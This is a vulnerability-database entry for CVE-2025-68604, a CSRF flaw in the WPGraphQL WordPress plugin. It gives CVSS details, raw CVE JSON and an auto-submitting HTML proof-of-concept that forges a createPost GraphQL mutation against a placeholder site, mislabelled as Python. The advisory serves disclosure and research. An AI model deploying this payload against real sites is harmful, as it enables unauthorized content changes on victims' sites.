Security Vulnerability Report
中文
CVE-2025-68604 CVSS 5.4 MEDIUM

CVE-2025-68604

Published: 2026-05-07 09:16:27
Last Modified: 2026-05-07 14:00:49

Description

Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL allows Cross Site Request Forgery. This issue affects WPGraphQL: from n/a through 2.5.3.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPGraphQL <= 2.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2025-68604 --> <!-- This PoC demonstrates a CSRF attack against WPGraphQL --> <html> <body> <h1>CSRF PoC</h1> <p>Page will attempt to submit a request automatically.</p> <form action="http://target-site.com/graphql" method="POST" id="csrf-form"> <input type="hidden" name="query" value="mutation { createPost(input: {title: "CSRF Hacked", content: "Hacked by CSRF"}) { post { id } } }" /> </form> <script> // Auto-submit the form to simulate the attack document.getElementById("csrf-form").submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68604", "sourceIdentifier": "[email protected]", "published": "2026-05-07T09:16:26.780", "lastModified": "2026-05-07T14:00:48.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL allows Cross Site Request Forgery.\n\nThis issue affects WPGraphQL: from n/a through 2.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-graphql/vulnerability/wordpress-wpgraphql-plugin-2-5-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}